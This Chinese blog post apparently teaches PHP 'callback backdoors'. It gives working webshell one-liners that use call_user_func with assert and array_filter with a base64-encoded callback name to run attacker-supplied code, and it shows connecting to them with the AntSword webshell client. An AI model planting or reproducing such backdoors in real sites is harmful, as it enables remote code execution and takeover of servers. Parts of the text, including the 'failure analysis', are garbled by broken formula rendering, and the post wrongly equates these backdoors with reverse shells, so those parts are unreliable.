回调后门基础

发布于:2025-03-31 ⋅ 阅读:(21) ⋅ 点赞:(0)

回调后门概述

回调后门(Reverse Shell)是一种常见的攻击方式,攻击者通过受害主机主动连接到远程服务器(攻击者控制的机器),从而获得远程控制权限。

工作原理

  1. 受害者主机 运行一个恶意代码,尝试连接攻击者控制的服务器。
  2. 攻击者主机 监听特定端口,一旦连接建立,就可以执行任意命令。

1. 初始的回调后门

call_user_func('assert',$_REQUEST['pass'];

代码解析:

  • call_user_func():把第一个参数作为回调函数调用
  • assert():用于执行字符串代码
  • $_REQUEST[‘pass’]:攻击者控制的输入

攻击示例

call_user_func('assert',$_REQUEST['pass']);
  1. 执行phpinfo()查看PHP环境信息,通过向pass传递phpinfo(),则代码执行后回显PHP版本信息
    在这里插入图片描述

  2. 蚁剑连接webshell
    在这里插入图片描述
    在这里插入图片描述

失败解析

  • assert( c o d e ) ; 等价于 i f ( ! e v a l ( code); 等价于 if (!eval( code);等价于if(!eval(code)) throw new AssertionError();
  • assert($_POST[123]); 的问题是,如果 $_POST[123] 是个未定义变量或者非字符串,它会返回 NULL,导致 assert(NULL); 直接返回 false,没有实际执行任何代码。
  • 假如eval传入的是字符串形式的php代码,assert()解析后相当于eval($_POST[]123),从而执行传入的任意命令

蚁剑默认发送的payload

  • 当body传pass= P O S T [ 123 ] 时, a s s e r t ( _POST[123]时,assert( POST[123]时,assert(_POST[123]);可能解析为assert(NULL),或者assert(空字符串),直接返回false,所以没有返回值

2.数组操作的单参数回调后门

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

代码解析:

  • array():创建数组,包含用户传入的 $_POST[‘pass’]。
  • array_filter():使用回调函数过滤数组元素。
  • base64_decode($e):解码后作为回调函数。
  • 所以e传递assert的Base64编码(YXNzZXJ0),则 array_filter() 会执行 assert($_POST[‘pass’]);,从而执行传入的PHP代码。
    在这里插入图片描述